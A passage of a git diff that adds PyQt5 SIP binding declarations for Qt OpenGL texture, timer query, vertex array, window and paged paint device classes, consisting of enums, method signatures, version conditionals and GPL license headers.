R32F, + RG32F, + RGB32F, + RGBA32F, + RGB9E5, + RG11B10F, + RG3B2, + R5G6B5, + RGB5A1, + RGBA4, + RGB10A2, + D16, + D24, + D24S8, + D32, + D32F, + D32FS8X24, + RGB_DXT1, + RGBA_DXT1, + RGBA_DXT3, + RGBA_DXT5, + R_ATI1N_UNorm, + R_ATI1N_SNorm, + RG_ATI2N_UNorm, + RG_ATI2N_SNorm, + RGB_BP_UNSIGNED_FLOAT, + RGB_BP_SIGNED_FLOAT, + RGB_BP_UNorm, + SRGB8, + SRGB8_Alpha8, + SRGB_DXT1, + SRGB_Alpha_DXT1, + SRGB_Alpha_DXT3, + SRGB_Alpha_DXT5, + SRGB_BP_UNorm, + DepthFormat, + AlphaFormat, + RGBFormat, + RGBAFormat, + LuminanceFormat, + LuminanceAlphaFormat, +%If (Qt_5_4_0 -) + S8, +%End +%If (Qt_5_5_0 -) + R11_EAC_UNorm, +%End +%If (Qt_5_5_0 -) + R11_EAC_SNorm, +%End +%If (Qt_5_5_0 -) + RG11_EAC_UNorm, +%End +%If (Qt_5_5_0 -) + RG11_EAC_SNorm, +%End +%If (Qt_5_5_0 -) + RGB8_ETC2, +%End +%If (Qt_5_5_0 -) + SRGB8_ETC2, +%End +%If (Qt_5_5_0 -) + RGB8_PunchThrough_Alpha1_ETC2, +%End +%If (Qt_5_5_0 -) + SRGB8_PunchThrough_Alpha1_ETC2, +%End +%If (Qt_5_5_0 -) + RGBA8_ETC2_EAC, +%End +%If (Qt_5_5_0 -) + SRGB8_Alpha8_ETC2_EAC, +%End +%If (Qt_5_6_0 -) + RGB8_ETC1, +%End +%If (Qt_5_9_0 -) + RGBA_ASTC_4x4, +%End +%If (Qt_5_9_0 -) + RGBA_ASTC_5x4, +%End +%If (Qt_5_9_0 -) + RGBA_ASTC_5x5, +%End +%If (Qt_5_9_0 -) + RGBA_ASTC_6x5, +%End +%If (Qt_5_9_0 -) + RGBA_ASTC_6x6, +%End +%If (Qt_5_9_0 -) + RGBA_ASTC_8x5, +%End +%If (Qt_5_9_0 -) + RGBA_ASTC_8x6, +%End +%If (Qt_5_9_0 -) + RGBA_ASTC_8x8, +%End +%If (Qt_5_9_0 -) + RGBA_ASTC_10x5, +%End +%If (Qt_5_9_0 -) + RGBA_ASTC_10x6, +%End +%If (Qt_5_9_0 -) + RGBA_ASTC_10x8, +%End +%If (Qt_5_9_0 -) + RGBA_ASTC_10x10, +%End +%If (Qt_5_9_0 -) + RGBA_ASTC_12x10, +%End +%If (Qt_5_9_0 -) + RGBA_ASTC_12x12, +%End +%If (Qt_5_9_0 -) + SRGB8_Alpha8_ASTC_4x4, +%End +%If (Qt_5_9_0 -) + SRGB8_Alpha8_ASTC_5x4, +%End +%If (Qt_5_9_0 -) + SRGB8_Alpha8_ASTC_5x5, +%End +%If (Qt_5_9_0 -) + SRGB8_Alpha8_ASTC_6x5, +%End +%If (Qt_5_9_0 -) + SRGB8_Alpha8_ASTC_6x6, +%End +%If (Qt_5_9_0 -) + SRGB8_Alpha8_ASTC_8x5, +%End +%If (Qt_5_9_0 -) + SRGB8_Alpha8_ASTC_8x6, +%End +%If (Qt_5_9_0 -) + SRGB8_Alpha8_ASTC_8x8, +%End +%If (Qt_5_9_0 -) + SRGB8_Alpha8_ASTC_10x5, +%End +%If (Qt_5_9_0 -) + SRGB8_Alpha8_ASTC_10x6, +%End +%If (Qt_5_9_0 -) + SRGB8_Alpha8_ASTC_10x8, +%End +%If (Qt_5_9_0 -) + SRGB8_Alpha8_ASTC_10x10, +%End +%If (Qt_5_9_0 -) + SRGB8_Alpha8_ASTC_12x10, +%End +%If (Qt_5_9_0 -) + SRGB8_Alpha8_ASTC_12x12, +%End + }; + + void setFormat(QOpenGLTexture::TextureFormat format); + QOpenGLTexture::TextureFormat format() const; + void setSize(int width, int height = 1, int depth = 1); + int width() const; + int height() const; + int depth() const; + void setMipLevels(int levels); + int mipLevels() const; + int maximumMipLevels() const; + void setLayers(int layers); + int layers() const; + int faces() const; + void allocateStorage(); +%If (Qt_5_5_0 -) + void allocateStorage(QOpenGLTexture::PixelFormat pixelFormat, QOpenGLTexture::PixelType pixelType); +%End + bool isStorageAllocated() const; + QOpenGLTexture *createTextureView(QOpenGLTexture::Target target, QOpenGLTexture::TextureFormat viewFormat, int minimumMipmapLevel, int maximumMipmapLevel, int minimumLayer, int maximumLayer) const /Factory/; + bool isTextureView() const; + + enum CubeMapFace + { + CubeMapPositiveX, + CubeMapNegativeX, + CubeMapPositiveY, + CubeMapNegativeY, + CubeMapPositiveZ, + CubeMapNegativeZ, + }; + + enum PixelFormat + { + NoSourceFormat, + Red, + RG, + RGB, + BGR, + RGBA, + BGRA, + Red_Integer, + RG_Integer, + RGB_Integer, + BGR_Integer, + RGBA_Integer, + BGRA_Integer, + Depth, + DepthStencil, + Alpha, + Luminance, + LuminanceAlpha, +%If (Qt_5_4_0 -) + Stencil, +%End + }; + + enum PixelType + { + NoPixelType, + Int8, + UInt8, + Int16, + UInt16, + Int32, + UInt32, + Float16, + Float16OES, + Float32, + UInt32_RGB9_E5, + UInt32_RG11B10F, + UInt8_RG3B2, + UInt8_RG3B2_Rev, + UInt16_RGB5A1, + UInt16_RGB5A1_Rev, + UInt16_R5G6B5, + UInt16_R5G6B5_Rev, + UInt16_RGBA4, + UInt16_RGBA4_Rev, + UInt32_RGB10A2, + UInt32_RGB10A2_Rev, +%If (Qt_5_4_0 -) + UInt32_RGBA8, +%End +%If (Qt_5_4_0 -) + UInt32_RGBA8_Rev, +%End +%If (Qt_5_4_0 -) + UInt32_D24S8, +%End +%If (Qt_5_4_0 -) + Float32_D32_UInt32_S8_X24, +%End + }; + +%If (Qt_5_3_0 -) + void setData(int mipLevel, int layer, QOpenGLTexture::CubeMapFace cubeFace, QOpenGLTexture::PixelFormat sourceFormat, QOpenGLTexture::PixelType sourceType, const void *data, const QOpenGLPixelTransferOptions * const options = 0); +%End +%If (- Qt_5_3_0) + void setData(int mipLevel, int layer, QOpenGLTexture::CubeMapFace cubeFace, QOpenGLTexture::PixelFormat sourceFormat, QOpenGLTexture::PixelType sourceType, void *data, const QOpenGLPixelTransferOptions * const options = 0); +%End +%If (Qt_5_3_0 -) + void setData(int mipLevel, int layer, QOpenGLTexture::PixelFormat sourceFormat, QOpenGLTexture::PixelType sourceType, const void *data, const QOpenGLPixelTransferOptions * const options = 0); +%End +%If (- Qt_5_3_0) + void setData(int mipLevel, int layer, QOpenGLTexture::PixelFormat sourceFormat, QOpenGLTexture::PixelType sourceType, void *data, const QOpenGLPixelTransferOptions * const options = 0); +%End +%If (Qt_5_3_0 -) + void setData(int mipLevel, QOpenGLTexture::PixelFormat sourceFormat, QOpenGLTexture::PixelType sourceType, const void *data, const QOpenGLPixelTransferOptions * const options = 0); +%End +%If (- Qt_5_3_0) + void setData(int mipLevel, QOpenGLTexture::PixelFormat sourceFormat, QOpenGLTexture::PixelType sourceType, void *data, const QOpenGLPixelTransferOptions * const options = 0); +%End +%If (Qt_5_3_0 -) + void setData(QOpenGLTexture::PixelFormat sourceFormat, QOpenGLTexture::PixelType sourceType, const void *data, const QOpenGLPixelTransferOptions * const options = 0); +%End +%If (- Qt_5_3_0) + void setData(QOpenGLTexture::PixelFormat sourceFormat, QOpenGLTexture::PixelType sourceType, void *data, const QOpenGLPixelTransferOptions * const options = 0); +%End + void setData(const QImage &image, QOpenGLTexture::MipMapGeneration genMipMaps = QOpenGLTexture::GenerateMipMaps); +%If (Qt_5_3_0 -) + void setCompressedData(int mipLevel, int layer, QOpenGLTexture::CubeMapFace cubeFace, int dataSize, const void *data, const QOpenGLPixelTransferOptions * const options = 0); +%End +%If (- Qt_5_3_0) + void setCompressedData(int mipLevel, int layer, QOpenGLTexture::CubeMapFace cubeFace, int dataSize, void *data, const QOpenGLPixelTransferOptions * const options = 0); +%End +%If (Qt_5_3_0 -) + void setCompressedData(int mipLevel, int layer, int dataSize, const void *data, const QOpenGLPixelTransferOptions * const options = 0); +%End +%If (- Qt_5_3_0) + void setCompressedData(int mipLevel, int layer, int dataSize, void *data, const QOpenGLPixelTransferOptions * const options = 0); +%End +%If (Qt_5_3_0 -) + void setCompressedData(int mipLevel, int dataSize, const void *data, const QOpenGLPixelTransferOptions * const options = 0); +%End +%If (- Qt_5_3_0) + void setCompressedData(int mipLevel, int dataSize, void *data, const QOpenGLPixelTransferOptions * const options = 0); +%End +%If (Qt_5_3_0 -) + void setCompressedData(int dataSize, const void *data, const QOpenGLPixelTransferOptions * const options = 0); +%End +%If (- Qt_5_3_0) + void setCompressedData(int dataSize, void *data, const QOpenGLPixelTransferOptions * const options = 0); +%End + + enum Feature + { + ImmutableStorage, + ImmutableMultisampleStorage, + TextureRectangle, + TextureArrays, + Texture3D, + TextureMultisample, + TextureBuffer, + TextureCubeMapArrays, + Swizzle, + StencilTexturing, + AnisotropicFiltering, + NPOTTextures, + NPOTTextureRepeat, +%If (Qt_5_3_0 -) + Texture1D, +%End +%If (Qt_5_5_0 -) + TextureComparisonOperators, +%End +%If (Qt_5_5_0 -) + TextureMipMapLevel, +%End + }; + + typedef QFlags Features; + static bool hasFeature(QOpenGLTexture::Feature feature); + void setMipBaseLevel(int baseLevel); + int mipBaseLevel() const; + void setMipMaxLevel(int maxLevel); + int mipMaxLevel() const; + void setMipLevelRange(int baseLevel, int maxLevel); + QPair mipLevelRange() const; + void setAutoMipMapGenerationEnabled(bool enabled); + bool isAutoMipMapGenerationEnabled() const; + void generateMipMaps(); + void generateMipMaps(int baseLevel, bool resetBaseLevel = true); + + enum SwizzleComponent + { + SwizzleRed, + SwizzleGreen, + SwizzleBlue, + SwizzleAlpha, + }; + + enum SwizzleValue + { + RedValue, + GreenValue, + BlueValue, + AlphaValue, + ZeroValue, + OneValue, + }; + + void setSwizzleMask(QOpenGLTexture::SwizzleComponent component, QOpenGLTexture::SwizzleValue value); + void setSwizzleMask(QOpenGLTexture::SwizzleValue r, QOpenGLTexture::SwizzleValue g, QOpenGLTexture::SwizzleValue b, QOpenGLTexture::SwizzleValue a); + QOpenGLTexture::SwizzleValue swizzleMask(QOpenGLTexture::SwizzleComponent component) const; + + enum DepthStencilMode + { + DepthMode, + StencilMode, + }; + + void setDepthStencilMode(QOpenGLTexture::DepthStencilMode mode); + QOpenGLTexture::DepthStencilMode depthStencilMode() const; + + enum Filter + { + Nearest, + Linear, + NearestMipMapNearest, + NearestMipMapLinear, + LinearMipMapNearest, + LinearMipMapLinear, + }; + + void setMinificationFilter(QOpenGLTexture::Filter filter); + QOpenGLTexture::Filter minificationFilter() const; + void setMagnificationFilter(QOpenGLTexture::Filter filter); + QOpenGLTexture::Filter magnificationFilter() const; + void setMinMagFilters(QOpenGLTexture::Filter minificationFilter, QOpenGLTexture::Filter magnificationFilter); + QPair minMagFilters() const; + void setMaximumAnisotropy(float anisotropy); + float maximumAnisotropy() const; + + enum WrapMode + { + Repeat, + MirroredRepeat, + ClampToEdge, + ClampToBorder, + }; + + enum CoordinateDirection + { + DirectionS, + DirectionT, + DirectionR, + }; + + void setWrapMode(QOpenGLTexture::WrapMode mode); + void setWrapMode(QOpenGLTexture::CoordinateDirection direction, QOpenGLTexture::WrapMode mode); + QOpenGLTexture::WrapMode wrapMode(QOpenGLTexture::CoordinateDirection direction) const; + void setBorderColor(QColor color); + QColor borderColor() const; + void setMinimumLevelOfDetail(float value); + float minimumLevelOfDetail() const; + void setMaximumLevelOfDetail(float value); + float maximumLevelOfDetail() const; + void setLevelOfDetailRange(float min, float max); + QPair levelOfDetailRange() const; + void setLevelofDetailBias(float bias); + float levelofDetailBias() const; +%If (Qt_5_4_0 -) + QOpenGLTexture::Target target() const; +%End +%If (Qt_5_4_0 -) + void setSamples(int samples); +%End +%If (Qt_5_4_0 -) + int samples() const; +%End +%If (Qt_5_4_0 -) + void setFixedSamplePositions(bool fixed); +%End +%If (Qt_5_4_0 -) + bool isFixedSamplePositions() const; +%End +%If (Qt_5_5_0 -) + + enum ComparisonFunction + { + CompareLessEqual, + CompareGreaterEqual, + CompareLess, + CompareGreater, + CompareEqual, + CommpareNotEqual, + CompareAlways, + CompareNever, + }; + +%End +%If (Qt_5_5_0 -) + void setComparisonFunction(QOpenGLTexture::ComparisonFunction function); +%End +%If (Qt_5_5_0 -) + QOpenGLTexture::ComparisonFunction comparisonFunction() const; +%End +%If (Qt_5_5_0 -) + + enum ComparisonMode + { + CompareRefToTexture, + CompareNone, + }; + +%End +%If (Qt_5_5_0 -) + void setComparisonMode(QOpenGLTexture::ComparisonMode mode); +%End +%If (Qt_5_5_0 -) + QOpenGLTexture::ComparisonMode comparisonMode() const; +%End +%If (Qt_5_9_0 -) + void setData(int mipLevel, int layer, int layerCount, QOpenGLTexture::CubeMapFace cubeFace, QOpenGLTexture::PixelFormat sourceFormat, QOpenGLTexture::PixelType sourceType, const void *data, const QOpenGLPixelTransferOptions * const options = 0); +%End +%If (Qt_5_9_0 -) + void setCompressedData(int mipLevel, int layer, int layerCount, QOpenGLTexture::CubeMapFace cubeFace, int dataSize, const void *data, const QOpenGLPixelTransferOptions * const options = 0); +%End +%If (Qt_5_14_0 -) + void setData(int xOffset, int yOffset, int zOffset, int width, int height, int depth, QOpenGLTexture::PixelFormat sourceFormat, QOpenGLTexture::PixelType sourceType, const void *data, const QOpenGLPixelTransferOptions * const options = 0); +%End +%If (Qt_5_14_0 -) + void setData(int xOffset, int yOffset, int zOffset, int width, int height, int depth, int mipLevel, QOpenGLTexture::PixelFormat sourceFormat, QOpenGLTexture::PixelType sourceType, const void *data, const QOpenGLPixelTransferOptions * const options = 0); +%End +%If (Qt_5_14_0 -) + void setData(int xOffset, int yOffset, int zOffset, int width, int height, int depth, int mipLevel, int layer, QOpenGLTexture::PixelFormat sourceFormat, QOpenGLTexture::PixelType sourceType, const void *data, const QOpenGLPixelTransferOptions * const options = 0); +%End +%If (Qt_5_14_0 -) + void setData(int xOffset, int yOffset, int zOffset, int width, int height, int depth, int mipLevel, int layer, QOpenGLTexture::CubeMapFace cubeFace, QOpenGLTexture::PixelFormat sourceFormat, QOpenGLTexture::PixelType sourceType, const void *data, const QOpenGLPixelTransferOptions * const options = 0); +%End +%If (Qt_5_14_0 -) + void setData(int xOffset, int yOffset, int zOffset, int width, int height, int depth, int mipLevel, int layer, QOpenGLTexture::CubeMapFace cubeFace, int layerCount, QOpenGLTexture::PixelFormat sourceFormat, QOpenGLTexture::PixelType sourceType, const void *data, const QOpenGLPixelTransferOptions * const options = 0); +%End + +private: + QOpenGLTexture(const QOpenGLTexture &); +}; + +%End +%End +%If (Qt_5_2_0 -) +%If (PyQt_OpenGL) +QFlags operator|(QOpenGLTexture::Feature f1, QFlags f2); +%End +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopengltextureblitter.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopengltextureblitter.sip new file mode 100644 index 00000000..6018f372 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopengltextureblitter.sip @@ -0,0 +1,60 @@ +// qopengltextureblitter.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_8_0 -) +%If (PyQt_OpenGL) + +class QOpenGLTextureBlitter +{ +%TypeHeaderCode +#include +%End + +public: + QOpenGLTextureBlitter(); + ~QOpenGLTextureBlitter(); + + enum Origin + { + OriginBottomLeft, + OriginTopLeft, + }; + + bool create(); + bool isCreated() const; + void destroy(); + bool supportsExternalOESTarget() const; + void bind(GLenum target = GL_TEXTURE_2D); + void release(); + void setRedBlueSwizzle(bool swizzle); + void setOpacity(float opacity); + void blit(GLuint texture, const QMatrix4x4 &targetTransform, QOpenGLTextureBlitter::Origin sourceOrigin); + void blit(GLuint texture, const QMatrix4x4 &targetTransform, const QMatrix3x3 &sourceTransform); + static QMatrix4x4 targetTransform(const QRectF &target, const QRect &viewport); + static QMatrix3x3 sourceTransform(const QRectF &subTexture, const QSize &textureSize, QOpenGLTextureBlitter::Origin origin); + +private: + QOpenGLTextureBlitter(const QOpenGLTextureBlitter &); +}; + +%End +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopengltimerquery.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopengltimerquery.sip new file mode 100644 index 00000000..5423c761 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopengltimerquery.sip @@ -0,0 +1,75 @@ +// qopengltimerquery.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_1_0 -) +%If (PyQt_Desktop_OpenGL) + +class QOpenGLTimerQuery : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QOpenGLTimerQuery(QObject *parent /TransferThis/ = 0); + virtual ~QOpenGLTimerQuery(); + bool create(); + void destroy(); + bool isCreated() const; + GLuint objectId() const; + void begin(); + void end(); + GLuint64 waitForTimestamp() const /ReleaseGIL/; + void recordTimestamp(); + bool isResultAvailable() const; + GLuint64 waitForResult() const /ReleaseGIL/; +}; + +%End +%End +%If (Qt_5_1_0 -) +%If (PyQt_Desktop_OpenGL) + +class QOpenGLTimeMonitor : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QOpenGLTimeMonitor(QObject *parent /TransferThis/ = 0); + virtual ~QOpenGLTimeMonitor(); + void setSampleCount(int sampleCount); + int sampleCount() const; + bool create(); + void destroy(); + bool isCreated() const; + QVector objectIds() const; + int recordSample(); + bool isResultAvailable() const; + QVector waitForSamples() const /ReleaseGIL/; + QVector waitForIntervals() const /ReleaseGIL/; + void reset(); +}; + +%End +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopenglversionfunctions.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopenglversionfunctions.sip new file mode 100644 index 00000000..f2b966d6 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopenglversionfunctions.sip @@ -0,0 +1,36 @@ +// qopenglversionfunctions.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_1_0 -) +%If (PyQt_OpenGL) + +class QAbstractOpenGLFunctions /NoDefaultCtors,Supertype=sip.wrapper/ +{ +%TypeHeaderCode +#include +%End + + QAbstractOpenGLFunctions(const QAbstractOpenGLFunctions &); +}; + +%End +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopenglvertexarrayobject.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopenglvertexarrayobject.sip new file mode 100644 index 00000000..314042f3 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopenglvertexarrayobject.sip @@ -0,0 +1,71 @@ +// qopenglvertexarrayobject.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_1_0 -) +%If (PyQt_OpenGL) + +class QOpenGLVertexArrayObject : QObject +{ +%TypeHeaderCode +#include +%End + +public: + explicit QOpenGLVertexArrayObject(QObject *parent /TransferThis/ = 0); + virtual ~QOpenGLVertexArrayObject(); + bool create(); + void destroy(); + bool isCreated() const; + GLuint objectId() const; + void bind(); + void release(); + + class Binder + { +%TypeHeaderCode +#include +%End + + public: + Binder(QOpenGLVertexArrayObject *v); + ~Binder(); + void release(); + void rebind(); + SIP_PYOBJECT __enter__(); +%MethodCode + // Just return a reference to self. + sipRes = sipSelf; + Py_INCREF(sipRes); +%End + + void __exit__(SIP_PYOBJECT type, SIP_PYOBJECT value, SIP_PYOBJECT traceback); +%MethodCode + sipCpp->release(); +%End + + private: + Binder(const QOpenGLVertexArrayObject::Binder &); + }; +}; + +%End +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopenglwindow.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopenglwindow.sip new file mode 100644 index 00000000..11d8f202 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qopenglwindow.sip @@ -0,0 +1,73 @@ +// qopenglwindow.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +%If (Qt_5_4_0 -) +%If (PyQt_OpenGL) + +class QOpenGLWindow : QPaintDeviceWindow +{ +%TypeHeaderCode +#include +%End + +public: + enum UpdateBehavior + { + NoPartialUpdate, + PartialUpdateBlit, + PartialUpdateBlend, + }; + + QOpenGLWindow(QOpenGLWindow::UpdateBehavior updateBehavior = QOpenGLWindow::NoPartialUpdate, QWindow *parent /TransferThis/ = 0); +%If (Qt_5_5_0 -) + QOpenGLWindow(QOpenGLContext *shareContext, QOpenGLWindow::UpdateBehavior updateBehavior = QOpenGLWindow::NoPartialUpdate, QWindow *parent /TransferThis/ = 0); +%End +%If (Qt_5_5_0 -) + virtual ~QOpenGLWindow(); +%End + QOpenGLWindow::UpdateBehavior updateBehavior() const; + bool isValid() const; + void makeCurrent(); + void doneCurrent(); + QOpenGLContext *context() const; + GLuint defaultFramebufferObject() const; + QImage grabFramebuffer(); +%If (Qt_5_5_0 -) + QOpenGLContext *shareContext() const; +%End + +signals: + void frameSwapped(); + +protected: + virtual void initializeGL(); + virtual void resizeGL(int w, int h); + virtual void paintGL(); + virtual void paintUnderGL(); + virtual void paintOverGL(); + virtual void paintEvent(QPaintEvent *event); + virtual void resizeEvent(QResizeEvent *event); + virtual int metric(QPaintDevice::PaintDeviceMetric metric) const; +}; + +%End +%End diff --git a/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpagedpaintdevice.sip b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpagedpaintdevice.sip new file mode 100644 index 00000000..4419fc83 --- /dev/null +++ b/OTHERS/Jarvis/ools/PyQt5/bindings/QtGui/qpagedpaintdevice.sip @@ -0,0 +1,403 @@ +// qpagedpaintdevice.sip generated by MetaSIP +// +// This file is part of the QtGui Python extension module. +// +// Copyright (c) 2021 Riverbank Computing Limited +// +// This file is part of PyQt5. +// +// This file may be used under the terms of the GNU General Public License +// version 3.0 as published by the Free Software Foundation and appearing in +// the file LICENSE included in the packaging of this file. Please review the +// following information to ensure the GNU General Public License version 3.0 +// requirements will be met: http://www.gnu.org/copyleft/gpl.html. +// +// If you do not wish to use this file under the terms of the GPL version 3.0 +// then you may purchase a commercial license. For more information contact +// info@riverbankcomputing.com. +// +// This file is provided AS IS with NO WARRANTY OF ANY KIND, INCLUDING THE +// WARRANTY OF DESIGN, MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. + + +class QPagedPaintDevice : QPaintDevice +{ +%TypeHeaderCode +#include +%End + +public: + QPagedPaintDevice(); + virtual ~QPagedPaintDevice(); + virtual bool newPage() = 0; + + enum PageSize + { + A4, + B5, + Letter, + Legal, + Executive, + A0, + A1, + A2, + A3, + A5, + A6, + A7, + A8, + A9, + B0, + B1, + B10, + B2, + B3, + B4, + B6, + B7, + B8, + B9, + C5E, + Comm10E, + DLE, + Folio, + Ledger, + Tabloid, + Custom, +%If (Qt_5_3_0 -) + A10, +%End +%If (Qt_5_3_0 -) + A3Extra, +%End +%If (Qt_5_3_0 -) + A4Extra, +%End +%If (Qt_5_3_0 -) + A4Plus, +%End +%If (Qt_5_3_0 -) + A4Small, +%End +%If (Qt_5_3_0 -) + A5Extra, +%End +%If (Qt_5_3_0 -) + B5Extra, +%End +%If (Qt_5_3_0 -) + JisB0, +%End +%If (Qt_5_3_0 -) + JisB1, +%End +%If (Qt_5_3_0 -) + JisB2, +%End +%If (Qt_5_3_0 -) + JisB3, +%End +%If (Qt_5_3_0 -) + JisB4, +%End +%If (Qt_5_3_0 -) + JisB5, +%End +%If (Qt_5_3_0 -) + JisB6, +%End +%If (Qt_5_3_0 -) + JisB7, +%End +%If (Qt_5_3_0 -) + JisB8, +%End +%If (Qt_5_3_0 -) + JisB9, +%End +%If (Qt_5_3_0 -) + JisB10, +%End +%If (Qt_5_3_0 -) + AnsiC, +%End +%If (Qt_5_3_0 -) + AnsiD, +%End +%If (Qt_5_3_0 -) + AnsiE, +%End +%If (Qt_5_3_0 -) + LegalExtra, +%End +%If (Qt_5_3_0 -) + LetterExtra, +%End +%If (Qt_5_3_0 -) + LetterPlus, +%End +%If (Qt_5_3_0 -) + LetterSmall, +%End +%If (Qt_5_3_0 -) + TabloidExtra, +%End +%If (Qt_5_3_0 -) + ArchA, +%End +%If (Qt_5_3_0 -) + ArchB, +%End +%If (Qt_5_3_0 -) + ArchC, +%End +%If (Qt_5_3_0 -) + ArchD, +%End +%If (Qt_5_3_0 -) + ArchE, +%End +%If (Qt_5_3_0 -) + Imperial7x9, +%End +%If (Qt_5_3_0 -) + Imperial8x10, +%End +%If (Qt_5_3_0 -) + Imperial9x11, +%End +%If (Qt_5_3_0 -) + Imperial9x12, +%End +%If (Qt_5_3_0 -) + Imperial10x11, +%End +%If (Qt_5_3_0 -) + Imperial10x13, +%End +%If (Qt_5_3_0 -) + Imperial10x14, +%End +%If (Qt_5_3_0 -) + Imperial12x11, +%End +%If (Qt_5_3_0 -) + Imperial15x11, +%End +%If (Qt_5_3_0 -) + ExecutiveStandard, +%End +%If (Qt_5_3_0 -) + Note, +%End +%If (Qt_5_3_0 -) + Quarto, +%End +%If (Qt_5_3_0 -) + Statement, +%End +%If (Qt_5_3_0 -) + SuperA, +%End +%If (Qt_5_3_0 -) + SuperB, +%End +%If (Qt_5_3_0 -) + Postcard, +%End +%If (Qt_5_3_0 -) + DoublePostcard, +%End +%If (Qt_5_3_0 -) + Prc16K, +%End +%If (Qt_5_3_0 -) + Prc32K, +%End +%If (Qt_5_3_0 -) + Prc32KBig, +%End +%If (Qt_5_3_0 -) + FanFoldUS, +%End +%If (Qt_5_3_0 -) + FanFoldGerman, +%End +%If (Qt_5_3_0 -) + FanFoldGermanLegal, +%End +%If (Qt_5_3_0 -) + EnvelopeB4, +%End +%If (Qt_5_3_0 -) + EnvelopeB5, +%End +%If (Qt_5_3_0 -) + EnvelopeB6, +%End +%If (Qt_5_3_0 -) + EnvelopeC0, +%End +%If (Qt_5_3_0 -) + EnvelopeC1, +%End +%If (Qt_5_3_0 -) + EnvelopeC2, +%End +%If (Qt_5_3_0 -) + EnvelopeC3, +%End +%If (Qt_5_3_0 -) + EnvelopeC4, +%End +%If (Qt_5_3_0 -) + EnvelopeC6, +%End +%If (Qt_5_3_0 -) + EnvelopeC65, +%End +%If (Qt_5_3_0 -) + EnvelopeC7, +%End +%If (Qt_5_3_0 -) + Envelope9, +%End +%If (Qt_5_3_0 -) + Envelope11, +%End +%If (Qt_5_3_0 -) + Envelope12, +%End 